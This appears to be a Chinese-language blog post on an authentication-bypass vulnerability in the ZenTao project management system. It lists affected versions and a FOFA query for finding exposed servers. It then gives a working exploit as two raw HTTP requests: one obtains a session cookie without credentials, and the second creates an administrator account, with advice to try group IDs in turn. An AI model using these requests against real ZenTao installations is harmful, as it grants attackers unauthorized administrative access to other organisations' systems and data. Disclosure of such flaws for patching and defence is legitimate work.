禅道项目管理系统在开源版、企业版、旗舰版的部分版本中都存在此安全漏洞。攻击者可利用该漏洞创建任意账号实现未授权登录。

1.漏洞级别

高危

2.漏洞搜索

fofa:

title="禅道"

3.影响范围

v16.x <= 禅道 < v18.12 （开源版）
v6.x <= 禅道 < v8.12 （企业版）
v3.x <= 禅道 < v4.12 （旗舰版）

4.漏洞复现

4.1 获取有效cookie

构造请求

GET /zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest&productID=dddidkyodsnfamzvjidb&branch=klmnehgxnsmeuhshbooy HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

注：发起的请求中如果携带了默认的cookie 需要删除再发送请求

4.2 创建账号

可以直接构造POC

POST /zentao/api.php/v1/users HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Cookie: zentaosid=上一部获取的有效cookie;
Connection: close
Content-Length: 88

{"account":"rootroot","password":"Qwe123","realname":"rootroot","role":"","group":"1"}

创建成功之后会返回http201。
注：

• 账号的权限由group配置的，这个一般是系统管理员设置的分组。
• 通常情况下1是默认管理员，但是这个不是绝对的，可以逐一尝试。
• 数字最小值为1 逐渐递增

然后即可成功登录。

4.3 漏洞进阶

随文章附一个简单的利用脚本，感兴趣的可以参考一下。
如有问题，欢迎留言沟通～